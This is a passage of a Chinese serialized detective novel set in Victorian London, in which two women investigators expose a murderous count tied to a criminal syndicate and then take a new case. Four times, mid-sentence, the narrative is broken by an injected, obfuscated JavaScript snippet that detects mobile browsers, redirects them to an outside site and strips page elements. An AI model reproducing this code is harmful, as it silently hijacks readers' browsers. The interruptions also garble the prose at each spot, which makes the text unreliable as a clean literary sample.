“弗瑞小姐？”他又问了一遍，声音里带着一丝不易察觉的关切，侧身让我进去。 “是的，小麻雀，我回来了。”我踏进这熟悉又略显压抑的空间，反手轻轻关上门，落下内部的门栓。 艾米安·丽德小姐从书架后面的小空间里探出身来，苍白的脸上交织着担忧和期待。 “弗瑞小姐！您…您没事吧？”她快步走上前。 “一切顺利，丽德小姐。”我给了她一个安抚的微笑。 目光迅速扫过整个空间，一切如常，只有小桌上简常用的那些工具被动过位置，旁边还多了一个小巧的锡制的烟盒（是她惯常放密件的东西）。 简回来过，她又出去了。 “里斯克小姐回来得很快，”麻雀在一旁插话，小脸上满是报告重要情报的认真。 “她翻找了些东西，又匆匆走了。脸色…”他努力寻找合适的词，“…弗瑞小姐，很…吓人。” 我的心往下微沉。简的表情极少外露，能让麻雀这么说，情况恐怕比她预想的更棘手，或者…更紧急。 “她留下什么话吗？”我问道，走向那个桌子。 麻雀摇摇头，“没有，本小姐。她只问了句‘弗瑞回来没？’我说您去梅菲尔了，她就嗯了一声，拿了东西就从通道走了。”他指了指壁柜，我知道他指那条通往城市下水道的通道。 我拿起简的烟盒。冰冷的触感让我定了定神。 打开，按照映像里简的操作，夹层弹出来了，是一张薄纸，上面是简特有的字迹，用的是我之前研究过的基础密码。 信息极其简短。 G.书房。密格。 动静大。暂避。 勿动。 15. 1.14 我迅速将纸条揉成一团，走到壁炉前，看着它瞬间化为灰烬。 艾米安和麻雀紧张地看着我。 “弗瑞小姐？”艾米安的声音带着颤音。 “简给我们带来了关键信息，”我转过身，尽量让声音显得平静而坚定。 “伯爵书房里有我们要找的东西。简正在处理。但情况…有些复杂。我们需要更加警惕。”我没有详说，那只会徒增恐慌。 我走到窗边，小心翼翼地掀起厚重窗帘的一角。 暮色开始笼罩查令十字街，煤气路灯尚未点亮，街道笼罩在一片灰蒙蒙的暧昧之中。 就像老滴答说的，一切都还好。 但是，但是…… 伯爵府邸的“紧急事务”绝不会轻易平息。简怎么样？她安全吗？“动静”引发的反应是什么？ “麻雀，”我放下窗帘，“去告诉老滴答，提高警戒。‘黑大衣’可能不止一件了。让他留意任何不寻常的徘徊者，特别是生面孔的马车。” “明白，本小姐！”麻雀像接到军令的小兵，神情肃穆，立刻转身。 “等等…！”我叫住这个小男孩。 “还有什么吗？弗瑞小姐？”麻雀扬起他的小脑袋看着我。 “和老嘀嗒说完之后，你就从耗子洞那边离开吧，等可以了，我再让老滴答去找你，好吗？” 但我说这话的时候，艾米安小姐没说什么，只是担忧地看着我们。 而麻雀，机灵且年少的小男孩，这个孩子，撇了撇嘴，耷拉着脑袋，“可是…好…好的，弗瑞小姐” 房间里只剩下我和艾米安。她靠坐在那张旧扶手椅里，怀里紧紧抱着我之前递给她的那本书，指节因为用力而发白。 “丽德小姐，”我走到她面前，蹲下身，直视她那双充满惊惶的棕色眼睛。 “害怕是正常的。但请记住，一切都会好起来的。”我轻轻拍了拍她冰凉的手背，“我需要你继续保持勇气，和我一起等待，并做好准备。” “现在，先去密室，好吗？” “不，弗瑞小姐，我不想…让我待在外面吧，那好受一些。”艾米安·丽德小姐看着我坚定的说。 她足够勇敢，而且确实…难道真的让她待在密室，惶恐且不安？ 所以，我尽力笑着，“哦…好吧，艾米安，如果你愿意…” 她的嘴唇动了一下，最终用力地点点头。 我站起身，目光落回自己的手提包。 那个带着伊莎贝尔夫人绝望希望的镯子，正静静躺在里面。 简在伯爵书房里搏命寻找的东西，是否就是这镯子里暗藏线索指向的核心？还是两者互为印证？ 窗外的天色，彻底暗了下来。 外面的煤气路灯，“噗”地一声，在街角亮起昏黄的光，将影子拉得忽长忽短，如同幢幢鬼影。 寂静中，仿佛能听到远处马车驶过石板路传来的，不祥的隆隆声。 亲爱的读者，在那个令人窒息的查令十字街12号，在那昏黄煤气灯下跳动着的不安阴影中。 我不能再等了。 我走到远离窗户的角落，背对着艾米安可能投来的视线，从包里拿出了那个镯子。 它并非顶级的珠宝，但工艺精细，是上流社会淑女腕间常见的款式。 银质，线条优美。不易引人注目。 我仔细摸索着。 指腹在内侧光滑的金属上缓缓移动…找到了！ 我深吸一口气，用力一压。 “咔哒。” 镯子内侧，一道几乎看不见的缝隙悄然张开。我的心跳到了嗓子眼。 里面藏着的，不是钥匙，也不是微型胶卷。 是一张纸。 一张被紧紧卷成细条，染着几处深褐色陈旧污渍的纸。 那污渍的形状……像极了干涸的血点。我颤抖着手指将它取出，极其小心地展开。 纸很薄，是上好的信纸，边缘有杜维恩家族纹章的水印。 上面，是用一种娟秀却因恐惧而略显凌乱的笔迹，写下的名字。 名单！ 这是一份名单！ 不完全，但足够触目惊心！ 一个接一个女性的名字！ 有些我认得，有“因故离职”的女仆，还有神秘失踪的貌美女性。 有些很陌生，可能是更早之前的受害者。 每个名字后面，都跟着一个简短的日期，她们在伯爵府“消失”的时间。 在名单的最下方，赫然写着，艾米安·丽德。女演员。 她在反抗？我……（后面似乎想写什么，又被狠狠划掉了） 而在名单的边缘，像是后来仓促添加上去的，拼一个令人心惊肉跳的词。 金环蛇！ 这个时候，我终于懂简复杂的说“罪恶的老对手”的感受了！ 金环蛇！那个庞大可怖的…！ 哦！它的阴影！ 我又想起那个昏暗的房间，蛇的吐信声和和那个腥味，还有那个阴影中身处高位的那个人影…… “上帝啊！…”我几乎失声，猛地捂住嘴。 冰冷刺骨的寒意！ 这不仅仅是一份名单。 这是鲜血！是恐惧！是罪恶！ 而金环蛇！ 加德·杜维恩伯爵，他不仅是个残暴的恶魔，他的根须竟已深入了如此黑暗的泥沼？ 而这样子的人！ 竟然拥有如此的美名！活跃于政界，致力于所谓的安全与道德风肃！ “弗瑞小姐？”艾米安的声音带着惊惶从身后传来。 我迅速将名单重新卷好，塞回镯子，合拢机关。 转过身时，脸上已尽力维持平静，我尽力的笑笑。“没什么，艾米安，”我试图让自己的声音听起来可靠，“伯爵夫人给了我们一份……非常重要的礼物。它证实了很多事。” 艾米安看着我的脸，这个沉默的小姐没有追问，只是更紧地抱住了自己。 就在这时，急促但熟悉的叩门暗号传来，老滴答！ 但节奏比平时更快。 我立刻开门。 老滴答布满皱纹的脸出现在门缝后，缺了门牙的嘴快速开合，声音压得极低。 “黑大衣！好几件！在街角转几圈了，是我们老熟人引来的，他们在盯梢。” 书房里的“动静”引来了伯爵豢养的猎犬！ 他们可能不知道是谁，不知道原因，甚至可能不知道艾米安在这。 但我们的老熟人，那令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973587|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人作呕的霍华德，急着向他的金主献媚，不知道出于什么理由，将那些该死的猎犬给引过来了。 即使简说了“勿动”。 但是！ “准备转移，”我当机立断，“艾米安，拿好你的小箱子。老滴嗒，后巷那个‘耗子洞’，能走吗？” “能！跟我来！”老滴答没有丝毫犹豫。 我们熄灭了屋内的灯。 艾米安紧紧抓住我的手臂，她的颤抖透过传递过来。 老滴答带我们进入一条散发着霉味和尘土气息的狭窄通道。 这不是通往城市的主干，而是老滴嗒这样的“城市老鼠”才知道的隐秘路径。 在黑暗中磕磕绊绊，不知走了多久。 我们已身处另一条僻静的后巷。 老滴答急促地说，“本小姐，带丽德小姐去水手酒馆后厨，找玛丽大婶，就说‘滴答的旧钟需要上油了’。她知道怎么做。” “那你呢？” “我回去引开黑大衣的视线，盯着他们，还有，等里斯克小姐回来。” “老滴答，小心！”我抓住他枯瘦的手臂。 老头咧开缺牙的嘴，在黑暗中竟有一丝狡黠的笑意，“放心，本小姐，在伦敦的影子里活了六十年，知道保护自己。” 说完，他一溜烟消失在巷子深处错综复杂的垃圾堆和矮墙后。 我和艾米安，裹紧斗篷的兜帽，沿着湿漉漉的街道，在夜晚行走着。 包里，简专门给我的武器给了我一点勇气。 “弗瑞，为了你的安全，你必须要记住，我们那些朋友和敌人的特征，还有那些地点。” 简的话语仿佛出现在我的耳畔。 不得不说，她总是对的。 我带着艾米安去到了水手酒馆，找到了玛丽，她是一个热情的人，给了我们很多照顾。 第二天，简终于出现了，带着一身寒气和水汽，浅绿色的眼睛下是深深的疲惫。 她带来了消息，她在伯爵书房里找到的是一枚小巧的金质蛇形印章，是伯爵与“金环蛇”进行某些“特殊货物”交易的信物。 同时，她还带回了一个名字，格林小姐。 我没想到会再次听见她。 这很复杂。 最终我只是沉默地听着。 “金环蛇内部并非铁板一块，”简的声音异常冷静。 “格林小姐负责‘清理’和‘善后’，她厌恶杜维恩的失控和愚蠢，认为他招来的关注正在威胁整个组织的安全。他太张扬了，惹了一身腥臊。另外，格林小姐并不喜欢杜维恩负责的那些，低级血腥，她是这么说的。” “她是一个聪明人，有野心，也…有点…良知？而先生，他乐于见到下属竞争。总之……” 一场危险的交易在绝对隐秘中达成。 格林小姐提供了一些“无关紧要”却能佐证伯爵与金环蛇深层勾结的，指向其他高层（而非核心）的模糊线索，以及伯爵处理“麻烦”的惯用渠道（泰晤士河某些特定河段）。 作为交换，简承诺将所有的火力聚焦在加德·杜维恩伯爵一人身上，并将那枚危险的“金蛇”印章在事后“归还”（实则是让它彻底消失），还有更多……我不知道的，简不愿细讲，那并不美好…… 16. 1.15 “简，你太莽撞了！”我看着简，感到一阵后怕，更多的是生气，“你怎么能直接闯进杜维恩的书房，如果你被发现！你会完蛋的！” “安心！安心！弗瑞，我没事。”简朝我眨了眨眼睛。 那态度让我更加生气，漫不经心的，这是什么可以敷衍的事情吗？！ “简！你难道想再添一条你脖子上那种致命伤吗？” 我承认，我过于生气和担忧了，有些口不择言。 简的眼神落寞起来了。甚至无意识的摸了摸被高领遮盖起来的脖颈。 我没见过她这样。 沉默。 最终，我上前，抱住她。她没拒绝。 她比我高，我可能才到她肩膀，“抱歉，简，我只是担心你……” “我知道的。”简的声音闷闷的，她把头埋在我的肩上，发丝触到了我的皮肤，这个姿势并不好受，但她有点任性。 “只是这样子，更直接，而且弗瑞，我们没那么多时间了。”简说着，“而且我有确认过，我知道伯爵那时候不在府里，而且我做好了伪装的。所以，原谅我好吗？” 天呐！ 简几乎算得上是撒娇了。 她甚至还蹭了蹭！ 从我认识她到现在，日子虽然不长，但我们也算得上出生入死了（原谅我用这么夸张的词）。 我从来没看见她这样。 所以，当然的，我立刻就心软了（我本来就愧疚），“哦…当然…但是你下次要注意安全，好吗？” “我会的。”简立刻从我的怀抱里出来（其实是她抱着我），简单的整理了一下头发。 “我们该行动了。” 是的，行动！ 正如你所洞察的，亲爱的读者，在权力的高墙下，尸体可以被解释为意外，照片可以被污蔑为伪造，指控可以被扭曲为疯癫的妄想或卑劣的敲诈。 唯一能真正撼动这堵高墙的，是另一股更汹涌，更无法被完全控制的力量。 舆论的洪水。 毕竟，人言可畏。 而受舆论和人言裹挟着的，背后那些，更会带来意想不到的结果。 我和简，将会利用这股力量。 我们开始行动。 简动用了她遍布伦敦底层琐碎但有效的关系网……还有…英磅和先令。 而我，则是措辞写信写稿，《泰晤士报》《每日电讯报》以及几家立场相对激进的小报主编的私人信箱。 媒体也是重点，不是吗？ 总之，不知道什么时候开始。 一份份匿名的小册子，莫名其妙地出现在清晨的牛奶瓶旁，塞进绅士俱乐部的门缝，丢在熙攘的市场角落。 册子上没有华丽的辞藻，只有冰冷的触目惊心的内容。 长长的，标注着日期的女性失踪名单。 翻印的，有些模糊却关键细节的照片。 还有关于某位“尊贵的伯爵”与臭名昭著的“金环蛇”组织存在“令人不安的深度联系”的暗示性描述，引用了某些“内部人士”的模糊证词（格林小姐提供的边角料恰到好处） 艾米安，我们本来是想让她等待一切风浪过去。 “不，弗瑞，让我作为受害者发声，更为有利，不是吗？”这位勇敢的小姐认真地说，“而且我之前也已经这样子干过了，我可以的！” 最终，艾米安·丽德小姐再次公开控诉，详细描述了伯爵的暴行和随后的威胁，字字血泪。 窃窃私语，小心翼翼。 那些失踪女孩的名字，开始被人们提起。 “听说珍妮，就是以前在杜维恩家厨房帮忙的那个，她爹还在码头找她呢，唉……” “那张照片，那戒指，错不了……” “我原先还以为真的是疯子……这可真是……” “金环蛇？老天，那位老爷竟然……他可是……” 接着，流言开始壮大。 上流社会的沙龙里，夫人们交换着惊疑不定的眼神。 绅士们在俱乐部里压低声音，担忧着这把火会不会烧到自己身上。 终于，几家小报按捺不住，率先以隐晦却指向性极强的标题报道了“上流社会疑云”和“多位女性神秘失踪案”。 虽然没有直接点名杜维恩伯爵，但无异于在平静的湖面投下巨石。 压力如同实质般挤压着杜维恩伯爵，这位素有美名，活跃于政治的恶魔。 据说伯爵在书房里咆哮如雷，摔碎了无数名贵瓷器（也许更多其他的）。 总之，在那之后，更多的仆人逃了出来，指控伯爵对他们实施暴力。 而我们美丽而忧郁的伯爵夫人，我可不忍心让她一直待在那个地方。 天晓得那个疯子会不会迁怒她，或者对她实施各种暴力。 “弗瑞，你这也不理智。”简带着笑意说。 “哦！简！”我忍不住无奈地喊到。 “好啦！我知道！我们一起。” 过程并不容易，动用了不少英镑，收买了不少想离开的仆人，还是借着赏花的名头，反正总是成功的带着我们的伊莎贝尔给出来了。 当然，主要是她愿意。 杜维恩试图动用权势压下去，威胁报社，收买议员，派出手下更加疯狂地搜寻艾米安和“造谣者”。 但这一次，如此大范围的，他越是打压，越是显得欲盖弥彰。 伯爵夫人的出走，更是加剧了混乱。 《泰晤士报》终于顶住压力（或者说，嗅到了更大的新闻价值），以相对客观但极其严肃的笔调，刊登了一篇题为《关于近期女性失踪案及社会名流行为操守的公众质询》的社论，文中虽未直接定罪，却将那份失踪名单和照片引发的公众疑虑推到了顶峰。 加德·杜维恩伯爵，这位曾经高高在上的贵族，正在被墙倒众人推。 他的权势仍在，但他的名声，读者，你们知道的。 无论出于什么理由，他成了伦敦社交圈避之不及的瘟疫，成了街头巷尾议论的魔鬼。 但这其实是很理想化的，我们没法切实对伯爵造成什么真正的影响，但是我说过的，背后有着人推波助澜。 也许是教会，也许是政敌，也许是…金环蛇，或者，皆有之。 对了，警察，也有一些站出来调查和管控杜维恩伯爵，其中带头的人叫查尔斯·怀特（我们后来的老朋友），这可真是…我原本都要以为苏格兰场都是霍华德那种人物了。至少，也是有人坚持着。 最终审判降临的那个夜晚，充满了伦敦特有的黏腻而阴冷的雾气。 地点并非法庭，而是在泰晤士河畔一处废弃的码头。 这里是伯爵惯于处理东西的地点之一。 简通过隐秘渠道，将伯爵可能在此地“销毁重要证据”的消息，巧妙地泄露给了几个关键人物。 几位失去了孩子，发誓复仇的可怜人。几位被舆论激怒急于撇清关系或想分一杯羹的“金环蛇”成员（格林小姐的“安排”）。 当然，还有我们。 我和简潜伏在浓雾弥漫的阴影里，位置绝佳，视野却很差。 我们能听到那传来压抑的争吵声，重物拖拽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973588|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的摩擦声，还有伯爵那因暴怒而变调的咆哮：“……一群废物！把东西沉下去！立刻！……谁敢背叛我？！” 接着，是几声短促而沉闷的声响。 砰！砰！砰！ 像是木棍击打麻袋，又像是……装了消音器的木仓声。 浓雾吞噬了一切。 人影在昏黄的提灯下晃动扭打，如同狰狞的鬼魅。 分不清是谁开了枪。 也看不清子弹击中了谁。 混乱持续的时间很短。 几声落水声后，一切迅速恢复了死寂。 我和简在冰冷的阴影中又等待了很久，直到河面上的雾气开始被黎明的微光染上灰白，才悄然离开现场。 几天后，加德·杜维恩伯爵的尸体在伦敦下游的河滩淤泥中被发现。 报纸的报道语焉不详，充满“神秘”“意外”“疑点重重”等字眼。 官方结论倾向于“因涉及敏感案件承受巨大压力，可能不慎落水或自杀”。 当然，也有人私下议论是“金环蛇”的清理门户，或是某个绝望父亲的复仇。 真相？ 亲爱的读者，在伦敦的浓雾和泰晤士河浑浊的流水中，真相往往如同沉底的骸骨，模糊不清。 我们永远不会确切地知道。 在那个被大雾蒙蔽着的夜晚里。 最终扣动扳机的，是“金环蛇”派来的杀手，或者是复仇的可怜人，还是……某个我们熟悉的身影？ 我们只知道一点。 加德·杜维恩伯爵死了。 我的朋友，伊莎贝尔继承了伯爵的部分财产（大部分已被秘密转移或冻结）。 “这或许是一种解脱？弗瑞。”她蓝色大眼睛里不再盛满忧郁疲惫，她抱着我说，“我打算离开伦敦。” “去哪？”我忍不住问。 “也许是意大利？”她轻飘飘地说，然后抬头看了看天空。 临行前，她托人送给我一个蓝色鸢尾花的标本，没有只言片语。 艾米安·丽德小姐在简的安排下，带着伯爵夫人赠予的一笔足以开始新生活的钱，去了新大陆。 她说，要继续演绎事业。 她登船那天，伦敦难得放晴，阳光温暖。 至于我和简？ 我们回到了圣彼得里公寓。 炉火烧得很旺，驱散着伦敦的寒意。 简坐在她惯常的扶手椅里，擦拭着她那把从不离身的，此刻却异常干净的手木仓，动作缓慢而专注。 桌上，摊开着最新的报纸，头条是关于杜维恩伯爵之死的各种猜测。旁边，放着那份染着陈旧血渍的名单。 我看着那份名单，那些曾经鲜活，最终消失在阴影下的名字。 我拿起它，走到壁炉边。 火焰温柔地舔舐着纸张的边缘，卷曲，变黑，化为轻盈的灰烬，随着热气盘旋上升，最后消失不见。 窗外的伦敦，依旧阴郁，依旧喧嚣。 但至少在这一刻，在这小小的温暖的公寓里，我和简一起，令人心安。 有些读者，可能会惊诧于，我竟然会认同和选择这样子的一种方式，但那个在金环蛇房间里见证的，让我清楚，有的时候我们没有选择。 故事讲到这里，或许该告一段落了。 关于伯爵死亡的真相，就让它永远留在泰晤士河畔的浓雾里吧。 有些答案，追问到底，并不好，不是吗？ 我们完成了我们该做的。 剩下的，是活着的人。 在这个世界里，继续前行。 17. 1.16 我有了一个搭档，叫弗瑞·本。 有趣的名字。 独特的人。 有着我不太喜欢的贵族小姐的体面，但又不一样。 她不纠结那些无意义的东西。 但是，教养是她融入骨子里的。 怎么会有这样的人呢？ 独特，脆弱，又极其坚韧。 我第一次见到她。 那是大雨，没什么好稀奇的。伦敦的雨里总是藏着很多东西。 我接受了霍顿先生的委托，在跟着一些人。 在梅菲尔区的街头。 她很狼狈，却很坚韧。 像一株风雨飘摇的蓝铃花。 她蹲在泥泞的街道上，徒劳地抓着那些被雨水打湿的纸张，手指冻得发红。她的头发湿透了，狼狈地贴在脸颊边，可她的背脊依然挺得笔直，像是不允许自己弯下腰。 我捡起一张飘到脚边的纸，校样稿，字迹工整，边角却有几个用力过猛的墨点，像是笔者在压抑某种情绪。 需要帮忙吗？我问。 她抬起头，眼睛在雨水中显得格外亮，像是被逼到绝境却不肯认输的动物。 那一刻，我决定记住她的名字。 无关同情，只是职业性的好奇。 自此，弗瑞·本，在我着不只再是霍顿先生信里提及的人。 艾奥瓦·霍顿先生，他是一位真正的绅士，他正义，勇敢，令人钦佩。 他死了。 我警告过，提醒过。 为了他的安全。 我本应该更坚持。 可是，他说，“里斯克小姐，我们为什么要去惧怕黑暗，为了正义，让他们来，我可不怕他们。” 他像一个卫道士。 勇敢，无畏，固执己见。 他值得我的钦佩。 霍金斯是个蠢蛋。 狗急跳墙。 他往霍顿先生的茶水里下了氰花物。 拙劣至极。 当我见到霍顿先生的样子，看到那鲜红色尸斑，闻到那若有若无的苦杏仁味，我就明白了。 至于格林。 我之前没和这女人打过交道。 我让梅尔替我注意那边，但我还是不喜。迟早有一天我要把这个组织给捣毁，还有男人，我会让他付出应有的代价。 那种组织。 格林是个聪明人。 她善于算计。 她猜到了霍顿先生，可能给弗瑞留下了一些东西，于是他故意将嫌疑弗瑞身上引。 顺便收拾一下霍金斯留下来的烂摊子。并且把霍金斯带回了金环蛇。 当她发现我与弗瑞在一起的时候，她决定处理掉蠢笨霍金斯，并让自己更上一层。 毕竟，那个男人信奉能者居之，并且鼓励手下自相残杀。 她这是一箭几雕？ 呵。 但与她的合作还行。 我们都得到了自己想要的。 弗瑞保下来了。 我带她去见了那个该死的人。 他坐在阴影里。 手指敲击扶手的样子还是那样。 他的袖扣在暗处反光。蛇信子形状。 我的疤痕仿佛开始发烫 其实他从一开始就什么都知道，不然也不会刚好这个时候就在那里等着。 我不是很早之前就知道了吗？ 那个男人就是喜欢运筹帷幄，玩弄人心，并且高高在上的俯视所有。 在他庞大的黑暗帝国。 我又去见他了。 “你最近很关心那位本小姐？” 我调整手套，“职业风险管控。” 我们都知道这不过是托词。 壁炉的火光在他镜片上跳动，我看不清他的眼睛。 但当他伸手去拿茶杯时，袖口露出了绷带边缘。 看来梅尔的子弹没落空。 但也仅此而已了。 我看着弗瑞去学习本应该与她格格不入的东西，看着她坚持。 就像当初在密道里，她也未曾抱怨一句一样。她会认真跟随。 弗瑞有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973589|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种奇异的固执，当她决定什么，就不会再动摇一丝一毫。 她以为自己在追随我，却不知我才是被牵引的人。 搭档是累赘，但弗瑞·本除外。 我会保护好她的。我发誓。 这本笔记迟早会落到某人手里。 但绝不是今天。 泰晤士河的水永远都不平静。 就像伦敦的大雨。 当我发现杜维恩与金环蛇有关系的时候，我带着梅尔，去找了格林。 金环蛇已经堕落到这种地步了吗？ 参与人体与女性这种上不得台面的脏事。 格林很聪明。 “小姐，杜维恩伯爵？不过是先生养在议会里的鬣狗，现在该换条新狗，他的行为与金环蛇无关，我们可以吞并他，也可以帮助你，但是我们需要他的死足够混乱。” 她递给我一颗子弹。 是那个人一贯的风格。 “对了，格林小姐你本人，又出于什么理由要对付杜维恩伯爵呢？” 也许这只是心血来潮的普通一提。 那个聪明的，如蛇蝎的女性笑了笑，那笑容我熟悉。 “艾玛·格林和你是什么关系？”我问。 那是，失踪死亡的名单里的一个名字，一个曾经活生生的人。 只是这个姓氏，问一问，我又没有什么损失。 那是这位格林小姐本人，她的姐妹？ 不重要。 格林小姐笑了，她属于金环蛇。 杜维恩伯爵必须死。 子弹穿透他心脏时，至少来自三个方向。 至今，我们仍未知道，他死于谁的手里。 但有的时候，参与，就是一种妥协。 而那个男人，乐意见到这种东西。 泰晤士河永远藏着秘密。 对了，打捞队从河里拖上来的某具尸体。认领人，是格林。 我示意梅尔跟着，然后转身离开码头。 弗瑞还在事务所等着我，她新煮的咖啡总带着蓝铃花的香气。 18. 2.1 “简，帮我看一下，是用这个黑色的赛璐珞还是白色的？”我边走出梳洗间边问。 简坐在外面的旧沙发上，手里拿着今日的晨报，她在等我收拾好，听见我的问话，她抬起头，“黑色吧！不那么明显。” “是吗？”我看了看手里的两个赛璐珞，“那还是白色吧。” “说真的，简，你可以戴些发饰，或者…” 简轻微地皱了皱眉，我不再说什么，而是伸手帮她理了理头发。 “好了，我们出门吧！” 照常绕了几个圈，到旧钟表店的时候也还早，才七点左右。 老滴答早就在下面干活了，我们和他打了个招呼就上楼了。 这不过是平平无奇的又一天。 简关注最近的新案子，我则是整理档案，找猫的，抓小偷的，还有一些老熟人的记录。 在老滴答送上来一些煎蛋，炸面包和红茶之后，我们本应该享用我们的早餐。 但是一通电话打断这一切。 说实话，这通电话并不礼貌，谁会在晨间（这个时候的人要么在赶通勤要么在吃早晨）给人打电话呢？ 除非特别紧急。 所以我虽然有些不满，但还是迅速地接了。 “Hold the line for a call, please.” 接线员小姐的话过后，是一个仓惶的女声。 “侦探…里斯克小姐在吗？我…我有很重要的委托…我会在下午三点的时侯……” “在的！小姐！请问您…” “咔哒” 电话被挂断了，我看向早已警觉地站在我身旁的简，最终还是没有叫接线员小姐再接。 “下午三点，简，她听起来很恐慌…”我有些不安。 “放轻松，弗瑞，她既然有时间来电话，说明事情还没到那么紧张的地步。”她安抚我，“还是来继续你被打扰的早餐吧。” 我应了。说实话，这顿早餐，我们两个人都有些食不知味。 时间在等待中总是无比漫长。 简也没法静下心来，她甚至说得上是跃跃欲试，毕竟一切都透着不同寻常。 终于，接近下午三点，老滴答领了一位年轻的女士上来。 她约莫二十五岁左右（不管怎么说，没到三十），右手的钻石戒指昭示着她早已已婚，整体的打扮让我知道她非富即贵。 而这样一位女士，举止间充满了害怕，头发散落，面容憔悴。 这可真是…… “你们谁…？”她似乎没想到有两个人。 “你好，我是里斯克，这是我的搭档，本。”简站出来，将这位女士扶到一旁的扶手椅上，而我则是给她倒了一杯红茶。 “谢谢。”女士接过茶，然后就陷入了沉默，看起来不知道怎么开口。 简和我对视一眼，最终还是由我来先问，“没事的，女士，不如，我们先来谈谈您自己？” “我…我叫玛格丽特·沃尔特，沃尔特是我丈夫的姓，他是一个新汽车的制造商。” “那我想你们生活得很幸福富足，是什么让你想来寻求帮助呢？” 简地问题几乎是一针见血，这位女士几乎是立刻瑟缩了一下，几乎连杯子都握不住了。 “我…我怀疑…我的丈夫要杀我。” “什么？！”我惊讶地看着这位夫人。 “也就是说…夫人，你控告你丈夫谋杀你…理由呢？”简严肃地问道。 “直觉！我感觉得到！”沃尔特夫人的精神似乎被刺激了，她站起身死死地掐住简的手腕，“你们一定要帮我，其他人都不相信我！” “当然，我们相信你。冷静下来，沃尔特夫人。”我尽力地安抚她，想让她把手放开，我注意到简的手都被掐红了！ 简眉头都没皱一下，只是用另一只手稳稳地扶住沃尔特夫人的手臂，声音低沉而坚定，“沃尔特夫人，掐着我也不能解决问题。松手，坐下，慢慢说。” “他…最近越来越暴躁了。可能是公司出了什么事？我不知道…我真的没办法了。”沃尔特夫人慌乱地说。 然后她开始从包里掏支票，动作很急，还带出了不少东西掉在地上。 “帮我调查清楚，保护我的安全，可以吗？” 简弯下腰帮夫人把东西捡起来，我看见她动作顿了一下，之后又像什么都没发生过，把那些混合着支票、纸币和票据的东西还给夫人。 “不…夫人，暂时不需要。”简拒绝了夫人的支票，在夫人失望的时候，她说，“但是，我和我的搭档会去调查。夫人。” “不知我们是否可以登门拜访？”简问。 “明天！我的丈夫会在家！” 最终，这次见面以沃尔特夫人留下庄园地址，并拒绝了我们的相送为结束。 但是还没等我们坐下来思考，老滴答就带着一位绅士进来了。 西装革履，成功人士，只是面容也是那么憔悴。 如果不是他说他只有三十五岁，我都以为他有四十多岁了（那头发可真是…好吧…） 这位沃尔特先生，对的，就是之前那位夫人的丈夫，被控告谋杀的当事人。 但这位先生，显然不这么认为。 “我的妻子只是最近压力太大了，有些不清醒，你们最好不要添乱！” 他这么爆躁含糊的说着，半威胁的架势，然后急匆匆地走了。或许是去追着跟着他的妻子。 “有意思，弗瑞，”简靠坐在自己的旧沙发上，顺便给自己点了根烟（我说过的，里面是草药，类似薄荷。） “这对夫妻，你相信谁？”她探究着问，眼睛亮亮的，显然期待我的回答。 这是一对特别的夫妻，妻子指控丈夫谋杀，而丈夫，推脱说妻子压力过大，不清醒。 这可不好说… 我想了想，“沃尔特夫人吧，她的状态很不好，而且她丈夫的态度也印证了她说的话。” “反过来也可以说，她的反应印证了他丈夫的话。”简这么说着，手不由自主地在桌子上叩击着，“弗瑞，我谁都不信。” “没有切实调查了解，什么都不可信。” 我承认简是对的，但人总归会有自己的偏向。 “那你信我吗？”，我有些赌气地问。 “当然。”简按灭了手里的烟头，浅绿色的眼睛看着我说，“你可是我选的搭档。” 好吧。 这可真是…还不赖。 我们开始调查起来，沃尔特夫妇的社会，邻居和仆人评价，还有…财务（夫人提及的重点。） 但这些都有点难办。 他们的庄园在伦敦近郊的里士满区（富绅聚集地），我和简可没有买时兴的汽车，我们只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973590|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能通过帕丁顿站的火车往返。 所以那些深入的都只能等到明天去调查了（也许是从这开始简就执着着要买辆汽车。） “简，最早的一班车是明天早上十点的。”我按住话筒对简说。 “行。对了，弗瑞，问一问下午往返的。”简边翻档案纸边问。 